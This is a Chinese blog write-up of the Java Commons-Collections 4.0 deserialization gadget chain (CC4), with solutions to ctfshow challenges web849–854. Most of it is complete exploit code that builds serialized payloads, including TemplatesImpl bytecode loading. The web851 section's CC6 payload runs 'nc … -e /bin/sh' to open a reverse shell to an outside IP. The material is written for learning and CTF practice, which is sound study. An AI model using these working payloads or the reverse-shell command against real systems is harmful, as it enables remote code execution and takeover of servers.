目录

  1. 1. 前言
  2. 2. 环境
  3. 3. commons-collections4的改动
  4. 4. PriorityQueue利用链
  5. 5. 构造Gadget
  6. 6. 最终的EXP
  7. 7. 实战
    1. 7.1. ctfshow web849
    2. 7.2. ctfshow web851&852
    3. 7.3. ctfshow web854

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CC4链

2024/9/4 Web Java 反序列化
  |     |   总文章阅读量:

前言

这几天重新把前面四条链子过了一遍更新了博客,颇有收获

也是在快5个月之后重新捡起来cc链了


在2015年 commons-collections 反序列化利用链被提出时,Apache Commons Collections有以下两个分支版本:

  • commons-collections:commons-collections

  • org.apache.commons:commons-collections4

前者是老版本的包,当时版本是3.2.1;而后者是官方在2013年推出的4版本,当时的版本号是4.0;两者的命名空间不冲突,因此可以共存在同一个项目中

参考:

《Java安全漫谈》

https://drun1baby.top/2022/06/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8706-CC4%E9%93%BE/


环境

jdk8u65 + Commons-Collections 4.0

pom.xml

<dependency>  
 <groupId>org.apache.commons</groupId>  
 <artifactId>commons-collections4</artifactId>  
 <version>4.0</version>  
</dependency>

commons-collections4的改动

先测一下老的链子能否在 commons-collections4 中使用,以cc6为例,把依赖里的 org.apache.commons.collections 全部换成 org.apache.commons.collections4

然后就会发现LazyMap.decorate(innerMap, transformerChain);变红了

image-20240904162300908

看一下在 commons-collections3 中 decorate 的定义:

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

这个方法不过就是 LazyMap 构造函数的⼀个包装,而在4中其实只是改了个名字叫 lazyMap

image-20240904162648794

所以只要把LazyMap.decorate替换成LazyMap.lazyMap即可弹计算器,cc1、cc3同理

image-20240904163015938

但是, CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化


PriorityQueue利用链

在commons-collections中找Gadget的过程,实际上可以简化为找⼀条从Serializable#readObject()方法到Transformer#transform()方法的调用链

从尾部向首部分析,尾部命令执行的方式就两种,反射或是动态加载字节码。因为 CC4 链上只是去掉了 InvokerTransformer 的 Serializable 继承,所以最后的命令执行不受影响

既然 InvokerTransformer 这里用不了了,我们去找谁调用了 transform() 方法,CC3 中我们用了InstantiateTransformer来代替,这里我们也同样在 commons-collections4 的这个类里找突破点

image-20240904165852024

TransformingComparator 这个类中的 compare() 方法调用了 transform() 方法,compare() 这个方法也是我们比较喜欢的那种,因为它非常常见

继续跟,一找一个不吱声,在 java.util 里面找到我们的目标 PriorityQueue 类

image-20240904170311820

一路跟过去就可以找到调用链:

image-20240904171310918


构造Gadget

第一步,先写InstantiateTransformer.transform()动态加载字节码,和cc3差不多

package com.example.cc4;

import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;

public class TransformerExec {
    public static void main(String[] args) throws Exception{
        byte[] code = Utils.GenerateEvil();
        TemplatesImpl obj = new TemplatesImpl();
        Utils.SetValue(obj, "_name","0w0");
        Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
        Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});
        instantiateTransformer.transform(TrAXFilter.class);
    }
}

接下来是 TransformingComparator 类的 compare() 方法的调用,因为它是可序列化的,所以我们或许可以通过反射修改其调用 compare() 方法的值,写一下

package com.example.cc4;

import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.util.PriorityQueue;

public class ComparatorExec {
    public static void main(String[] args) throws Exception{
        byte[] code = Utils.GenerateEvil();
        TemplatesImpl obj = new TemplatesImpl();
        Utils.SetValue(obj, "_name","0w0");
        Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
        Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator<>(transformerChain);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        String barr = Utils.Serialize(priorityQueue);
        Utils.UnSerialize(barr);
    }
}

调试发现 heapify 这里没进 siftDown

image-20240904214823437

原因是这一段 size >>> 1>>> 是移位运算符,上面的size为0,会跳出循环,当我们把 size 替换为 2 时,才能进循环

image-20240904215314060

alt+f8求一下值:

image-20240904215402597

此时为1,因此进入循环,所以现在我们要想办法将 size 的值变成 2

这里要稍微了解一下 PriorityQueue 这个数据结构的原理,参考:https://www.cnblogs.com/linghu-java/p/9467805.html

size 就是 PriorityQueue 这个队列的长度,简单理解就是数组的长度。现在我们这个数组的长度为 0,0 - 1 = -1,所以会直接跳出循环

可以用下面这个语句加上:

priorityQueue.add(1);  
priorityQueue.add(2);

于是就写出我们的exp了:

package com.example.cc4;

import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.util.PriorityQueue;

public class ComparatorExec {
    public static void main(String[] args) throws Exception{
        byte[] code = Utils.GenerateEvil();
        TemplatesImpl obj = new TemplatesImpl();
        Utils.SetValue(obj, "_name","0w0");
        Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
        Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator<>(transformerChain);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        String barr = Utils.Serialize(priorityQueue);
        Utils.UnSerialize(barr);
    }
}

image-20240904215559380

但是。。。结束了吗?只要把UnSerialize注释掉就会发现一件事,计算器是在Serialize的时候弹出的,提前触发了命令执行,和之前cc3、cc6一样,依旧需要fakeTransformers 出场

最终的EXP

那么得到我们最后的exp:

package com.example.cc4;

import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

        byte[] code = Utils.GenerateEvil();
        TemplatesImpl obj = new TemplatesImpl();
        Utils.SetValue(obj, "_name","0w0");
        Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
        Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        TransformingComparator transformingComparator = new TransformingComparator<>(transformerChain);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Utils.SetValue(transformerChain, "iTransformers", transformers);

        String barr = Utils.Serialize(priorityQueue);
        Utils.UnSerialize(barr);
    }
}

实战

ctfshow web849

提交ctfshow参数进行base64解码
然后进行反序列化
我是java8,使用了commons-collections 4.0的库
为了保证业务安全,我删除了curl命令


下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow")); 

直接打cc4就可以nc弹shell

image-20240905173206680


ctfshow web851&852

提交ctfshow参数进行base64解码
然后进行反序列化
我是java8,使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁,
为了保证业务安全,我删除了curl命令


下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow")); 

cc6链子改cc4的库即可

package com.example.cc6;

import com.example.Utils;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class cc6Ver4 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"nc 115.236.153.177 30908 -e /bin/sh"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        Utils.SetValue(transformerChain, "iTransformers", transformers);

        String barr = Utils.Serialize(expMap);
        System.out.println(barr);
//        Utils.UnSerialize(barr);
    }
}

ctfshow web854

提交ctfshow参数进行base64解码
然后进行反序列化
我是java8,使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁,包含:
TransformedMap
PriorityQueue
InstantiateTransformer
TransformingComparator
TemplatesImpl
AnnotationInvocationHandler
HashSet
Hashtable
LazyMap



下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow")); 

看了一圈,cc6 + cc4的链子唯一要处理的就是绕过LazyMap